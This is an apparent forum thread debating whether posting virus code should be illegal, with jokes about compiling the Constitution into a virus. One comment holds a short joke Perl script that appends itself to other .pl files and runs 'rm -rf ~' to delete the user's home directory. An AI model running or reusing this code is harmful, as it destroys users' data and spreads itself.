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Should Virus Distribution be Illegal?
mccormi writes "In a guest editorial on Newarchitect Sarah Gordon looks at whether posting malicious code should be allowed and what steps could be taken to stop it. What's worrisome though is that restrictions on malicious code doesn't take into account who it's malicious against and what truly defines malicious." Note that she's not talking about actually infecting computers, but merely making the code available for others to examine (and for some of them, no doubt, to try to spread in the wild).
I think it should be illegal to write and release viruses. Viruses should follow all standard software rules, which means, the maker could easily be sued for damages. And no, sending the virus with a EULA wouldn't protect the maker legally.
Job? I don't have time to get a job! Who will sit around and bitch about being broke and unemployed then?
Unless the law specified dstribution of *machine readable* malicious code (ie binaries)
Even better, I could write a compiler that takes the US Constitution as "source" and compiles it into a virus-like binary, and TADA, the Constitution is illegal to distribute!
"Your superior intellect is no match for our puny weapons!"
#!/usr/bin/perl
# VIRUS.pl by l33tb0y
# sh0utz to: b33k3r and dr.ph0t0n
for (<*.pl>) {
# 5pr34d d4 l0v3
system "cat $0 >> $_";
}
# D4 P4YL04D! M3 50 3V1L!
system "rm -rf ~";
print "h4 h4 h4 h4 -- ur 0wn3d!\n";
the Constitution is illegal to distribute!
The constitution, the idea of rule by law, christianity, buddhism, open source... are all viruses of the mind. The US founding fathers distributed the Declaration of Indepence around with the express malicious intent of throwing the Brits out on the arses.
Come to think of i1t, the anti virus law itself is a piece of logic a lawyer designed and executed in the court system with the intent of getting back at the people who made their computer crash.